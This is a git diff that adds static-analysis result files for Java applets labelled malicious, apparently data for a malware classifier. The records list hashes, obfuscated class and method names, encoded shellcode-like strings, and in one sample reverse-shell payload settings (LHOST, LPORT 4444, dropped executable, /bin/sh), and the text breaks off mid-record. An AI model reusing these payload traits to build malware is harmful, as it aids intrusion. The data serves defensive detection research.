diff --git a/java_classification/data/malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79.results b/java_classification/data/malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79.results
new file mode 100755
index 0000000..93c29f4
--- /dev/null
+++ b/java_classification/data/malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 109}}, "_id": "3609913e-898b-446b-aedf-74946cb385da", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pn,pN,pN,pz,0J,0N,pM,9k,KC,0C,0s,01,Op,dO,Qv,P3,0e,PE,PL,Kg,0d,LN,kT,0u,LL,ml,KQ,xU,po,p1,mv,l0,3B,TC,3z,6Z,KZ,SN,kq,xd,HN,kl,7p,jW,ta,Ix,hl,Og,pg,ps,0k,RL,9u,82,Op,nW,pc,0a,xs,ES,Br,Lb,Mp,TK,O5,Fn,ky,xx,h1,iW,pW,pW,pl,Kz,w7,7M,PU,o7,p4,5H,zg,7r,wa,WO,pW,Ow,pP,uk,JN,kh,oq,O0,3K,yK,1z,Lt,D6,a7,pW,pL,Ky,Lb,qv,2a,CU,8U,TU,Q5,PU,PK,OQ,Ft,La,Jb,y6,1s,bL,Ku,RV,3B,co,pu,ke,PD,5x,zM,Q3,K9,ld,na,uP,xr,Eb,UV,cO,sh,kw,xm,YV,ck,wQ,SU,TF,Ns,UP,xc,UY,Vp,Cs,8u,Ps,kM,Zz,a4,D6,Pm,X0,EU,Pp,3y,Pb,pP,Pf,36,7P,PK,OV,6d,Pm,Si,h7,pr,UW,v2,JE,Q2,sI,oq,FG,t2,zp,Yk,3O,2S,4r,aK,0U,jg,pp,uL,tk,Ob,v7,xp,Q0,Vn,kp,uw,LN,kT,4t,uc,Hu,SK,Es,fl,K2,VQ,0C,3X,ug,Cx,IW,9s,ql,md,CZ,ew,CY,Kv,oo,Nd,PE,hh,rr,TS,8I,QZ,k6,mU,Sk,jG,0z,KL,1w,Ke,OQ,eZ,GQ,Nl,KQ,NQ,4U,SK,ms,VL,KD,L0,KL,Ka,N5,Ls,3I,Ml,K5,TL,K4,CX,El,ks,np,Yk,s9,x7,pk,OY,oi,oL,NP,NT,NZ,LL,Xi,nN,jD,Nq,nZ,xK,R1,ct,sZ,jl,JQ,K6,Vt,Zf,Or,PV,3p,Ob,WP,Nu,Pp,hB,TP,tT,0D,zt,oD,o2,NQ,y0,mp,t2,Sv,N0,bq,ya,j4,oP,cc,WP,iT,mR,B0,iR,Nv,O3,Sr,NF,Np,aS,Cr,P0,xW,OG,9s,te,mW,Bp,06,Vp,7T,w4,fe,6S,RW,Mc,gQ,FP,Rp,vc,Up,UW,IC,Ee,4Q,XB,Pp,PS,QR,Ma,sT,r6,3b,wg,EV,7R,ER,Lp,ps,i1,CP,mC,DQ,Jp,WR,fp,JP,oc,cp,Wd,0F,Pa,qR,eP,9R,Q0,TS,dq,Jp,lR,mT,pP,0e,b2,t0,Wp,pT,6s,QR,ww,6P,XB,ur,wR,LP,P0,Mt,pF,PF,Rp,Tr,MR,PT,6u,12,uF,UQ,U3,QP,3C,XR,oa,Fg,5P,l4,v2,s3,gr,P6,PC,Ur,KV,Yt,10,Rv,8r,LP,PC,Qr,ub,PP,op,Wr,KU,8a,qp,b0,GP,Np,uq,ER,Na,Rc,ZR,m0,lR,zb,M3,iq,F3,TP,Ra,qv,5t,x3,Jp,T0,Tq,Jb,o1,FQ,WP,90,p0,Tr,xP,pb,zr,mb,KU,e1,as,QD,rP,lr,pP,MV,Pt,pv,R3,dP,kV,2p,vC,Qv,7b,ep,zp,Q2,Na,tQ,xs,eD,pp,kP,3s,it,sb,Pb,Vb,mP,kP,9T,0r,sp,XB,L2,o6,6p,GB,mT,pb,tB,MT,0b,n1,qr,up,8s,Jb,m0,X0,pv,0C,Qp,kF,P7,BB,sq,Gt,pS,HQ,qv,Pp,5c,d1,Cs,dU,4P,j0,er,M7,It,vQ,Ds,gt,0t,6U,13,eT,y0,XP,TR,xP,hP,ZC,Qb,Kw,EQ,aB,wv,7P,13,jR,mg,5d,q1,aQ,qF,Sq,tP,NQ,uP,kR,zr,Rp,WP,kQ,tP,ZR,mW,6b,Pq,Hb,tb,xR,P3,jS,QR,KQ,Z4,3v,4p,Wt,0r,NB,DP,1P,pR,ur,v2,Mr,Pp,Nu,1p,lr,LP,ps,dp,zB,mc,GP,P2,qg,UF,SQ,Tf,E0,37,4v,OP,n4,pT,pT,rD,qD,pu,fV,Rt,pP,1p,3E,ap,8C,B4,pP,4v,Pp,9p,J0,0q,rp,0T,pP,00,64,p6,QQ,GU,a3,VV,We,62,FV,ST,tp,8B,xP,6s,Rp,c1,q5,bu,1c,Tv,Tp,Yf,Rf,Wp,fU,11,qp,92,Cd,xb,zp,0e,ad,pD,pu,6p,0V,Xf,P3,0u,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cd7cce0a0cbe005404c8f5f57ddcf709377f6dc5", "file_name": "java_malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79", "_id": "3609913e-898b-446b-aedf-74946cb385da", "score": 0, "entropy": 5.888081158876424, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4069, "ssdeep": "96:RwbjG9FlyjPUHF3Rdbfkx3LB2NAevEq02pOwSOWLg26LNimeEu:6bjGXlyo9bK4vF1vShs25meEu", "sha256": "7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79", "md5": "c4cb6e93f7246b83d087dd89898f93bf", "parent_sha256": "7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510.results b/java_classification/data/malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510.results
new file mode 100755
index 0000000..70520ce
--- /dev/null
+++ b/java_classification/data/malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "zltCq.java", "class_name": "zltCq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "XtGfQXgd", "wNOMGJW", "kIRema", "AEGrwoD", "idwxXT", "SHohtPxEQ", "QXHnhPcyV"], "minor_version": 0, "const_pool_count": 135}}, "_id": "ba005d96-cb4c-416f-abb6-2ba95a5ef6b2", "verbose": {"java": {"constant strings": ["", "NQQCR_NQANTCGU", "NLL", "B@UG", "TR_C", "PABUG", "BU@", "CTABDNLMCTKU@\\x06MH@K"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c2da36c16034b8a0b83eede8858043211c82d478", "file_name": "java_malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510", "_id": "ba005d96-cb4c-416f-abb6-2ba95a5ef6b2", "score": 0, "entropy": 5.809221350633559, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3452, "ssdeep": "96:4vFl+vSH5MhcA29qAWpXIEygDtyPXtMtIVd:4dl+6ZMd2TsSityPXtcIz", "sha256": "80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510", "md5": "38e6731db0c637105f4768b571aadcaa", "parent_sha256": "80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a.results b/java_classification/data/malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a.results
new file mode 100755
index 0000000..e442462
--- /dev/null
+++ b/java_classification/data/malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/hrgdfaybp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>"], "minor_version": 0, "const_pool_count": 16}}, "_id": "ab268afe-4e46-4a7c-8de7-a3d21210a97f", "verbose": {"java": {"constant strings": ["k604w6sbd8vqcryuz2"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "16db0e4f99412b9b8ca99a11b8daea6faec0bb76", "file_name": "java_malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a", "_id": "ab268afe-4e46-4a7c-8de7-a3d21210a97f", "score": 0, "entropy": 5.132333672144046, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 227, "ssdeep": "6:TEegEoXMONszswv+RvYKyS5KT36hWlYllMu7PI/:TEeg/MONSDmjwIquE", "sha256": "80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a", "md5": "bd3a1b406184a3e8a4b5f2fb47e23f8f", "parent_sha256": "80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc.results b/java_classification/data/malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc.results
new file mode 100755
index 0000000..06810cf
--- /dev/null
+++ b/java_classification/data/malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/crbwbqeh", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "qhbpmecncplsmjf", "init", "uginmcvtwqhkukusv", "imcjzbdigocldavtnjm", "euwtejdbiuhnfieg", "zdpnvyndjbncfgkqucl", "<clinit>"], "minor_version": 0, "const_pool_count": 190}}, "_id": "da090ffb-dc16-4942-b310-20debdc5d9f7", "verbose": {"java": {"constant strings": ["xaayuizjzbgdsbdpowzhnnuth", "qfbsplopbagcptfizbmwtsfqgc", "b", "ghiversneoebdqombvawnuysm", "qaofhbortdsixhpoopmrg", "bgdxewpvkuhyahgfdvsf", "rdkhfewiktwcnpiek", "xyeqpfhjwgjvcsjgqifznpobza", "lbnxzreefwnazvjznbnohsotizs", "israq", "", "fhshbmqrlufkdyuvughlnca", "uafrdpmipbfeayggwqifemj", "kbmlbwf", "vpzfduakrdoerlm", "ucwziprqklrglryoayhezlaiv", "a", "wgjkrzhetmod", "slfavhhsagczysibmnurpydngs", "wcmlhscoltwgzwocbuegnschukdzqz", "zhhcxxwst", "wqxstdfif", "dfh", "znoukfavbyapcplputl", "oretturer"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7c3c3cbdf75c0f741131ffe1ea429d2a7f6ee58d", "file_name": "java_malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc", "_id": "da090ffb-dc16-4942-b310-20debdc5d9f7", "score": 0, "entropy": 5.803770414078702, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3560, "ssdeep": "48:/LiV+bZOOJrri0aEy9StJTgT/RlZWa3uNyt+55BegzYqh6sgXyG8XI9V3Hv9fVT1:UOEOo92h6RmawyQnUPsgXkYFvDT60n1J", "sha256": "8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc", "md5": "c8da3fd200a23f96cdc7ee5ca999d3c6", "parent_sha256": "8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc"}}
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diff --git a/java_classification/data/malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762.results b/java_classification/data/malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762.results
new file mode 100755
index 0000000..43d83bb
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+++ b/java_classification/data/malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "TTAvzAykSO/Omlljqs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "93a98945-8b2d-4c1a-94a3-c632ace85208", "verbose": {"java": {"constant strings": ["TTAvzAykSO.Omlljqs", ".class", "/TTAvzAykSO.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "TTAvzAykSO.dat", "URL", "", "https:", "TTAvzAykSO/OmlljqsTrustManager.class", "OmlljqsTrustManager.class", "AESPassword", "TTAvzAykSO/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "TTAvzAykSO.OmlljqsTrustManager", "useFor", "java.net.URLConnection", "TTAvzAykSO.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Omlljqs -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e695469162e4d834bb16064ecb87adb4852e97cf", "file_name": "java_malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762", "_id": "93a98945-8b2d-4c1a-94a3-c632ace85208", "score": 0, "entropy": 6.147341310910136, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMcDUBR+W6u0ThmA4xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tsRT0tmZyNvpvUrKYvCkgHzbDrDF", "sha256": "81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762", "md5": "d291ffc83fc69fe34cc87d601258e7b9", "parent_sha256": "81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762"}}
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diff --git a/java_classification/data/malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32.results b/java_classification/data/malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32.results
new file mode 100755
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+{"characteristics": {"java": {"sourcefile": "Tt.java", "class_name": "wjrqfstrvkwwtlg/Tt", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "lqjsjbfdqb"], "minor_version": 0, "const_pool_count": 257}}, "_id": "31b46933-bcf7-44db-a91e-39076b61c94f", "verbose": {"java": {"constant strings": ["4e360e471e64007c", "q26G", "3a476b771613", "AKHw0", "62434a536c10774d6b695840704e1e626961", "DCpaH", "tTarg", "ge", "et", "1156713c162f7c70360863", "jpP18", "3f4b16606f105f3d7f724e561d5d186049", "Dj1sK", "35576b3d70384e516b613274524a1a4b66355067495f4c1e3e76645a47", "NaL2Vcj", "3c5061247e3366", "GgN6KaU", "08450831722554173f40774a211d02", "sw49G", "4f606a78050d617638674556", "4VEt", "2f536b415416605b416463", "TrDTtc", "0c5d4a375e656f497a34397e7d02", "3Yr71", "46445e556401614e6356646671", "tDdfb", "0145621416161b0f", "3EX86R1", "72535f335b165249394f406879170b6478630379", "DDt3n", "4b6750504f3e61104d574b5b605662", "0CrAfhc", "424740621c22584b3442464a36452f", "9pkm", "4e5219", "HE43X", "7d426848520a49754e69676e5e", "KUCHgX", "131275620830067279094e155b5b6b510f", "h4Tn9", "7a5c7558621272", "LVVI"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d9b89165f494c4aaf2a65b3222b61bf0c09d39da", "file_name": "java_malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32", "_id": "31b46933-bcf7-44db-a91e-39076b61c94f", "score": 0, "entropy": 6.227843705893193, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5194, "ssdeep": "96:H8kAlHGfT2fPWHp/CfLhIs/inhJ83FuJxnflKG05hTwq:rAlmiPPdWL81uJwTwq", "sha256": "81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32", "md5": "a0ed6f6a3908266cc92d92de45a3b57d", "parent_sha256": "81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32"}}
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diff --git a/java_classification/data/malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da.results b/java_classification/data/malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da.results
new file mode 100755
index 0000000..98aba1d
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+++ b/java_classification/data/malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da.results
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diff --git a/java_classification/data/malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8.results b/java_classification/data/malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8.results
new file mode 100755
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+++ b/java_classification/data/malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8.results
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diff --git a/java_classification/data/malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2.results b/java_classification/data/malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2.results
new file mode 100755
index 0000000..bd81795
--- /dev/null
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@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "e9a74e51-7cc4-4f95-affd-cb022020ccdc", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IJ,0l,PZ,0N,pn,pn,pN,pN,py,yK,KU,PW,p5,P3,op,do,Qd,pe,Pu,Pw,pN,kQ,Pt,LN,kP,p5,Ll,mN,kC,XQ,0O,pQ,m4,LP,3p,tW,sL,Vh,kx,sn,ks,X6,hN,kx,wr,Js,4q,IJ,HN,oU,P7,pW,pM,2L,9r,Hp,oP,nw,pU,PQ,xr,Ub,Rb,L0,m2,tk,O2,6L,KM,8I,xQ,iG,pW,pe,Pn,kN,7Q,Wo,pU,og,p2,UK,JC,w0,WP,GM,P5,o5,PB,U9,jl,KZ,Os,og,Cx,Im,QX,lg,tF,ag,pu,PN,ki,LF,1b,rp,SU,84,DU,QW,pe,PK,Ov,6f,lQ,JQ,Iv,10,RN,kT,BR,sw,3O,pw,KW,pr,UX,zO,qS,K9,lt,np,er,X0,ed,5t,CK,3h,kU,XN,iw,so,7p,CW,tF,Ns,U0,xS,UK,vq,Se,XW,pQ,Kl,Jk,qV,dd,pK,8q,Ue,Pp,39,Pb,pR,ps,c6,7p,PI,ob,vV,pM,Sy,hw,pP,uv,fp,ju,Qr,s9,ov,67,tR,zS,iN,cO,2F,dQ,QM,Pw,Ju,Pp,uN,TI,o6,64,HF,1q,Fn,k3,E7,Ll,KS,DP,5R,Xd,CL,5a,Fl,K1,fu,ps,3L,5f,Sk,y1,Yb,aL,mw,sH,EP,3K,k4,OM,nF,pp,8K,BS,De,XK,qH,Kt,M7,sX,Zg,0x,kl,17,Ke,OB,UY,ws,nn,k1,Nv,DU,SY,Mu,6n,kd,L0,KN,kS,nu,LS,3y,Ml,KV,dl,KE,Sj,el,ka,N0,Yo,3K,Xw,pK,OK,OY,on,np,Nt,NJ,Ll,XK,NM,Zf,n3,NK,hK,R2,ST,sK,zn,jS,kp,66,zF,Or,PQ,qQ,tP,GS,rU,Pq,x2,TQ,dP,p6,Z6,O4,oQ,u4,8Q,dQ,uq,bp,nU,1R,Lt,nQ,ya,wR,Nr,Or,Rq,uP,lu,9r,ST,4V,Nq,sr,OR,Mv,O5,90,n3,VR,OT,oc,E3,CP,1T,nu,8Q,dR,MR,L6,OP,nT,pf,Ps,QT,qV,PT,vD,rv,P5,ap,3d,qt,xt,2V,PT,pd,p5,3P,Jp,0Q,uf,P4,pt,pD,vt,pT,qc,bf,SV,XQ,vq,ut,y4,se,3t,qs,g3,U5,3t,up,6u,i5,6V,Ru,gb,xq,ts,Qv,Yp,eV,T7,Gc,QB,D3,it,yU,ae,du,cQ,vp,dT,t6,Vq,Jt,pF,QV,PF,PU,6f,P6,Xv,Pw,p5,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "18cccd6a3f991645afb8b1c4e739fd250a44f05a", "file_name": "java_malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2", "_id": "e9a74e51-7cc4-4f95-affd-cb022020ccdc", "score": 0, "entropy": 5.981944077522601, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "96:hFFluazCuAi2zFt6cMRxC92XQjt9bKsCn:1lu62z/6cMRxEkQpRKx", "sha256": "8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2", "md5": "090e0edc0c38aae195a984d88669dd9f", "parent_sha256": "8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2"}}
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diff --git a/java_classification/data/malicious/8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f.results b/java_classification/data/malicious/8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f.results
new file mode 100755
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diff --git a/java_classification/data/malicious/8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca.results b/java_classification/data/malicious/8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca.results
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diff --git a/java_classification/data/malicious/86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f.results b/java_classification/data/malicious/86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f.results
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diff --git a/java_classification/data/malicious/872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1.results b/java_classification/data/malicious/872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1.results
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diff --git a/java_classification/data/malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06.results b/java_classification/data/malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06.results
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+++ b/java_classification/data/malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06.results
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diff --git a/java_classification/data/malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9.results b/java_classification/data/malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9.results
new file mode 100755
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+++ b/java_classification/data/malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 50, "class_name": "Zneec3rw", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Zneec3rw.java", "method_names": ["readObject", "my1getConstructor", "myZ1adm6mkhzgc0em", "findClass", "dy9nv250z", "<init>"], "minor_version": 0, "const_pool_count": 245}}, "_id": "d0a5b8b1-bba1-4c46-8a12-053923d30d86", "verbose": {"java": {"constant strings": ["5JHfgdFF", "786G6vvvbnh", "O5zh0utq3", "984599388556", "645689_gout", "yellloeour", "sooofnntyrity", "dfhsdkjdsff", "1", "Np6kkdlj", "stygopiwert", "velopoyut", "1001", "s", "wdop", "awiert giotrede", "8fy7huddjfhdfjdddd", "9w8eyhfisd", "awiert giorte", "zooetsrdtt qvvrveww", "neeeeo", ".class", "sewyro portrewry", "awert opeppre", "", "00546754674338485", "52434255252332554", "sertybbeerty opre tt", "morning", "123", "trololo", "88326523", "Avast 5", "G Data - A great resource for penetration testers, vulnerability researchers"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0a3982c687fa37db0d2d6d0af7f5cc3f142c2be6", "file_name": "java_malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9", "_id": "d0a5b8b1-bba1-4c46-8a12-053923d30d86", "score": 0, "entropy": 5.883994299209294, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4466, "ssdeep": "48:xOUH4tkkG/FEQl3ojBikdJv1bPxzR4bL4ZsGg3WAVEf4UCaxxsSt9Fk4jTsMFtwt:S1OFEQlY0kHhPxN43WNJVMusMFtwJb/", "sha256": "878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9", "md5": "172c4353b7989665106ff26d794a837a", "parent_sha256": "878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd.results b/java_classification/data/malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd.results
new file mode 100755
index 0000000..5d63fcc
--- /dev/null
+++ b/java_classification/data/malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/grdbyfqkdzr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["qqsotpmyauyrpjbogl", "<init>", "zsgulgysfmurhava", "wzseqkziflqmrjrzkb", "iyntcmnrtyfhlcmrzq", "hcbnjgdnnedsxhngz", "ztjthkdankcwkvd", "kedlnfsnlxietnstqq", "sbwnirogsqjqjbkl", "rjbyyektwwhzqwv", "awnoofmgvarbijkf", "llvwhgrr", "rlvgtilqvgssyihnept", "yafmflryqekbnic", "hqmwsyzudiiffjeguw", "yrqdagwqsulusiublh", "epxpbxmagibqmlbafid", "ydddbhhdd", "cbenknxytqiemvg", "tkqwhczzuluoktflcin", "idhodtezascedvrptzj", "zcarvjvdogvehuvjbza", "xwcidfjwkpzooewhm", "cdqxhpmdnmzwiqitn", "pxymrzqjihvvhwys", "jmrqgwdnoejsstx", "nstcqnrxvlxcvpmk", "eaeovdjnfvhzvzmmm", "zdaptajutjxddvntgzs", "vlgfxgmcbdwkonvcfwr", "dtwuscciryzbtra", "yfskpwbnlwosugxk", "vntoxoojgtxrlmrsv", "wdcpzfdbawljdbywvjb", "rnltlxftxzdfbgjfyyh", "aobeycvteroyizr", "vpgxibtrrtxgeszh", "gqtdbttcrgtzeml", "jgoiqlckypeaqxeefba", "oiqcdhwakegiphh", "ykqrpkznyodqrhxbog", "hiopqippyaomapcwjms", "mkabcteovnnisudet", "fclvnueptrcgihcv", "hfwlibchujygeftjwab", "rtodogzuxeqjmqpcod", "ufwutfaecpptmmxfw", "hsjacsyclvfyckwqiz", "vpopadmdgryxwrhxpe", "vfefgjdeejjosbyvc", "jyiehevchyhnwngwcc", "cjuydzstooemqqxng", "efsvxqxnttgxmzttih"], "minor_version": 0, "const_pool_count": 1039}}, "_id": "f0f54726-9487-4f41-abce-779ce57f6dfb", "verbose": {"java": {"constant strings": ["kmybypviutzl", "aimx", "qxq", "zsi", "sypedkfiblyjuimadvedd", "bkmvusnestmnpahwfo", "pocopug", "mxxahccgxizkkdcwyittocrkcyvgkb", "", "pufqldayac", "gsnzrpzbuibhoabthuw", "zeenspckpshbwgihlxcdyqpvbf", "hvdemgzvhmbwmbhbeohtys", "abqixptoqdppgri", "tbacdekbqqvdnxppave", "vtesuudvbjvanulqjawoe", "kstdywddocenid", "tjz", "yzwpikekyjqvvdhlwbvwdmoivebj", "btezyigkccxvr", "mxudyjokrsyajelbdaim", "qzkgwxhbayywzbasmyrckvmjmgsoc", "smto", "pulwru", "sbjwfuiqaocgvjaq", "ppywreypf", "sknhihmrvcwmvxnghmsfjkelfqwy", "fyekmnieewop", "vconqzaegeyiqbvzjlnpwk", "yahzp", "sfbvidsvijpodqgufpdiimhxufi", "oxcktovduaxnd", "axctylumnewstiivsk", "qmroeezraqhieuhkmcom", "oobgty", "voqvbuzcyhyglimbkaoaqpg", "o", "cfcanlcv", "lltlrxikuugocqztyym", "zehpxetpoytrkaqcovhd", "tmytpwzfzzuapeju", "usllzhdsq", "hencbdfeipg", "zkhyeihinwl", "oggeg", "nyqc", "au", "uobkxgdvghudymhatuibbrkbytxn", "lkcxjlnfr", "fakxrhbhtpkfco", "xiirigdkkldsiqirmousecbux", "nibcgerwkbhrn", "stc", "xomxttcvqdvctflvczyk", "huntenqrggbhkqxkdtkhf", "yoalxzjclooafophfakenazd", "qg", "cw", "cfbxqythuetzzc", "dixfecjuauftynhvr", "skpvkunogkhzmplx", "opaxytshjusj", "gmymfgt", "xim", "zljoif", "avegdjbiruofp", "tbdjdegvax", "qslrrtiahrdusvweftcsfnb", "fldotppacwcj", "wpt", "oc", "scvfzzdlswgaoax", 